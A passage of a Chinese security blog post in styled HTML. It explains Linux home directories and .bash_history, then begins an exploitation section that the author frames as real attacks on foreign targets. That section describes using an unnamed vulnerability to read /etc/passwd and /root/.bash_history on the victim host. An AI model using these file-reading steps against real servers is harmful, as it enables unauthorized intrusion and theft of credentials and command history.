&#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">root</span></code><span leaf="">用户的根目录在 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/root</span></code><span leaf="">，而其他用户的根目录一般在 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/home/用户名</span></code><span leaf="">，比如我有一个名叫 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">demo</span></code><span leaf=""> 的用户，那这个用户的根目录在 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/home/demo</span></code><span leaf=""> 下。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在Linux系统下每个用户的根目录下，都有四个bash隐藏文件，需要使用 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">ll -a</span></code><span leaf=""> 参数才会显示出来:</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf="">-rw-------   </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf=""> demo demo      </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1710</span></span><span leaf=""> Jan </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">22</span></span><span leaf=""> </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">16</span></span><span leaf="">:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">20</span></span><span leaf=""> .bash_history</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2</span></span><span leaf="">-rw-r--r--   </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf=""> demo demo        </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">28</span></span><span leaf=""> Oct </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3</span></span><span leaf=""> </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">09</span></span><span leaf="">:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">07</span></span><span leaf=""> .bash_logout</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3</span></span><span leaf="">-rw-r--r--   </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf=""> demo demo       </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">237</span></span><span leaf=""> Jan  </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">12</span></span><span leaf=""> </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">12</span></span><span leaf="">:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">53</span></span><span leaf=""> .bash_profile</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4</span></span><span leaf="">-rw-r--r--   </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf=""> demo demo       </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">331</span></span><span leaf=""> Oct </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">11</span></span><span leaf=""> </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">08</span></span><span leaf="">:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">07</span></span><span leaf=""> .bashrc</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其中今天要说的主角是 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.bash_history</span></code><span leaf="">，它是Linux 命令的历史记录，会持久化存储，默认位置是当前用户根目录的 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.bash_history</span></code><span leaf=""> 文件。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当 Linux 系统启动一个 Shell 时，Shell 会从 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.bash_history</span></code><span leaf=""> 文件中，读取历史记录，存储在相应内存的缓冲区中。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们平时所操作的 Linux 命令，都会记录在缓冲区中。包括 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">history</span></code><span leaf=""> 命令所执行的历史命令管理，都是在操作缓冲区，而不是直接操作 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.bash_history</span></code><span leaf=""> 文件。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当我们退出 Shell，比如按下 Ctrl+D 时，Shell 进程会把历史记录缓冲区的内容，写回到 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.bash_history</span></code><span leaf=""> 文件中去<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" class="rich_pages wxw-img" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=df4251da&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2FExpression%2FExpression_52%402x.png"/></span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3# 漏洞利用纵深</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">好了，上面把基础部分说完了。既然理论存在，那就实践开始！</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">注明：以下内容均为外网重点目标的实际利用（说句实话，这次在该漏洞的应急上，某大国居然比我国表现差），请在遵守当地法律的情况下合理学习利用</span></strong></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002007" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.20925925925925926" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=f240973a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrzFel1zEyE9SG2rMiciadkErdCaLQfrmpxTTRiaxhYib8beTxbj4YpTLcSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">首先通过该漏洞读取 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/etc/passwd</span></code><span leaf=""> 文件，发现该Linux上存在的用户信息，通过搜索 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/home/</span></code><span leaf=""> 关键词找到Linux上的实际用户，然后尝试读取 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">/root/.bash_history</span></code><span leaf=""> 文件，如下：</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002008" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29259259259259257" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=466597df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrcOLLCicHIuhic8MBMvTsXGzicicyRzzbEUZIodFRZwnyLeWo3WE82U8F0Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, 